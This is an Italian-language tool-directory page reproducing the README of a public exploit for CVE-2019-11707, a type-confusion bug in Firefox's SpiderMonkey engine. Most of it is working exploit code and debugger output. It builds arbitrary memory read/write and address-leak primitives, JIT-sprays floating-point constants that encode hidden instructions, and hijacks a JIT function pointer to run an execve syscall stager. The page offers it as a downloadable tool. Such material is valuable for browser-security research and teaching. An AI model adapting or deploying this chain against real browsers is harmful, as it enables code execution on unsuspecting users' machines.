Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
Strumenti/GitHubGitHub/flabbergastedbd/cve-2019-11707
Analisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebGenerazione di ShellcodeSviluppo PayloadBinary Exploitation
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Vedi Repository
22186 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SpiderMonkey - CVE-2019-11707

Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Schermate

sorgente

exploit

File

  • exploit.js - Exploit vero e proprio, preceduto da util.js e Int64.js di saelo.
  • stager.js - Usato per creare costanti, preceduto da util.js e Int64.js di saelo.
  • stager.py - Usato per assemblare istruzioni con keystone. L'output viene passato a stager.js.

Panoramica dell'exploit

  • Usa la type confusion per scrivere oltre un buffer di array tipizzato (fatto in setup()).
const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]
  • TL;DR: Scrivi oltre il buffer di supporto di exploit_pack[0] fino al campo del puntatore ai dati di exploit_pack[1]. Puntalo all'indirizzo del campo del puntatore ai dati di exploit_pack[2].
      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
  • Lettura/scrittura arbitraria possibile, l'indirizzo può essere impostato come contenuto di exploit_pack[1] che modifica internamente il puntatore ai dati di exploit_pack[2]. Quindi usa exploit_pack[2] per leggere o scrivere memoria.
function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}
  • Usando exploit_pack stesso, costruisci una primitiva addrOf.
function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}
  • Esegui un JIT spray di base, attraversa alcune strutture per ottenere il puntatore alla funzione JIT, trova un offset interessante per saltare. Sovrascrivi il puntatore alla funzione effettivo con questo offset.

JIT Spray

  • In breve, possiamo forzare funzioni come quelle sotto in pagine r-x.
const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}
  • Dopo il JIT, questo assomiglia a qualcosa come sotto. Puoi vedere la nostra costante 0xdeadc0debaad.

JIT effettivo

gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.
  • Se gli stessi byte iniziano a essere interpretati come istruzioni da un offset diverso come sotto, tutto cambia. Questa è l'essenza del JIT spray.

Offset JIT

gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.
  • L'idea è di aggirare i byte 4c 89 5d XX 49 bb 00 in qualche modo con 7 byte che controlliamo. Possiamo saltare oltre questi byte usando un jmp relativo.
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
  • Quindi un jmp relativo occupa 2 byte, abbiamo 5 byte per scrivere le nostre istruzioni assembly. I parametri della funzione JIT sono disponibili a un offset sullo stack quando la nostra funzione viene chiamata. Quindi la nostra funzione JIT accettava parametri.

registri

  • Secondo la convenzione di chiamata x86-64 per le syscall su Linux, abbiamo bisogno delle seguenti cose nei registri per una syscall execve.
rax: numero della syscall
rdi: percorso del programma
rsi: argv
rdx: envp
  • Le seguenti istruzioni mov sono una benedizione per spostare valori da un offset sullo stack ai registri pertinenti. Sono esattamente di 5 byte.
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
  • Quindi, possiamo costruire le nostre costanti. Fai riferimento a stager.py -> stager.js per vedere come sono state generate.

  • Basta sovrascrivere il puntatore alla funzione JIT effettivo nella struttura dell'oggetto e sostituirlo con l'offset. Chiama la funzione con i parametri.

write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());
  • Data la modalità con cui è scritto lo stager, è facile fare qualsiasi syscall con 3 argomenti.

Link super utili

  • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
  • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
  • https://vigneshsrao.github.io/writeup/
  • https://github.com/saelo/jscpwn
Scarica lo strumento